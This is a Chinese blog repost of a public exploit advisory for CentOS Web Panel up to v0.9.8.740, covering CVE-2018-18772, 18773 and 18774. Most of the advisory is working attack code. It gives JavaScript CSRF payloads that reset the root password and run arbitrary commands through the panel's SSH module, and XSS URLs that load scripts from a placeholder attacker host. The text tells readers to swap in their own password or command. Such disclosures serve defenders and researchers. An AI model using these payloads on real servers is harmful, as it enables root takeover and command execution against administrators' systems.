zoukankan      html  css  js  c++  java
  • CentOS远程执行漏洞

    完整标题:CentOS Web Panel Root帐户接管<= v0.9.8.740远程命令执行漏洞利用

    添加日期:2018年11月5日

    类别:远程执行漏洞

    CVE:CVE-2018-18773,CVE-2018-18772,CVE-2018-18774

    平台:PHP

    原创作者:InfinitumIT

    攻击载荷代码:

    [+] Title: CentOS Web Panel Root Account Takeover + Remote Command Execution <= v0.9.8.740
    [+] Author: InfinitumIT (https://infinitumit.com.tr)
    [+] Vendor Homepage: centos-webpanel.com
    [+] Software Link: http://centos-webpanel.com/cwp-latest
    [+] Version: Up to v0.9.8.740.
    [+] CVE: CVE-2018-18773, CVE-2018-18772 and CVE-2018-18774.
    [+] Detailed: https://numanozdemir.com/respdisc/cwp.pdf
    [+] Discovered by Numan OZDEMIR in InfinitumIT Labs
      
    [~] Description:
      
    Attacker can change target server's root password and execute command, by CSRF vulnerability. 
    Also, there is a XSS vulnerability, hacker can exploit the CSRF vulnerability by this XSS 
    vulnerability and run bad-purposed JavaScript codes on administrator's browser.
    So, CSRF/XSS to full server takeover.
     
    [~] How to Reproduce:
     
    Hacker can exploit this vulnerability (changing root password) by XSS or CSRF.
    Hacker will create a website and put those codes into source:
     
    <script>
    var url = "http://targetserver:2030/admin/index.php?module=rootpwd";
    var params = "ifpost=yes&password1=newpassword&password2=newpassword";
    var vuln = new XMLHttpRequest();
    vuln.open("POST", url, true);
    vuln.withCredentials = 'true';
    vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    vuln.send(params);
    </script>
     
    (Update newpassword as the password that you want to change.)
     
    If hacker wants to exploit this by CSRF, CWP administrator will click hacker's website.
    But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website)
    http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/password.js></script>
    After exploiting, you can connect to server by Putty or access the CWP panel with the password that you have specified from 2030 port.
     
    The second vulnerability is remote command execution.
    Hacker can exploit this vulnerability (remote command execution) by XSS or CSRF too.
    Again, hacker will create a website and put those codes into source:
     
    <script>
    var url = "http://targetserver:2030/admin/index.php?module=send_ssh";
    var params = "ssh+command=whoami";
    var vuln = new XMLHttpRequest();
    vuln.open("POST", url, true);
    vuln.withCredentials = 'true';
    vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    vuln.send(params);
    </script>
     
    (Update whoami as command that you want to run.)
     
    Same logic like top, if hacker wants to exploit this by CSRF, CWP administrator will click hacker's website.
    But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website)
    http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/command.js></script>
     
    // shouldnt think that CSRF/XSS are unimportant vulnerabilities.
    // for secure days...
  • 相关阅读:
    docker 目录移动到其他磁盘的操作
    linux -- 查看磁盘空间的大小 查看文件夹占用磁盘空间大小
    python flask 反向代理
    shell 脚本换行符的问题
    uniapp使用web-view跳转vue单页面通信,互发消息
    java基础(多线程---lambda)
    SpringBoot开发详解(五)--Controller接收参数以及参数校验
    使用 TypeScript 来开发 React 的注意事项
    video标签通过js实现增加倍速播放功能
    zblog调取置顶文章
  • 原文地址:https://www.cnblogs.com/chk141/p/12220318.html
Copyright © 2011-2022 走看看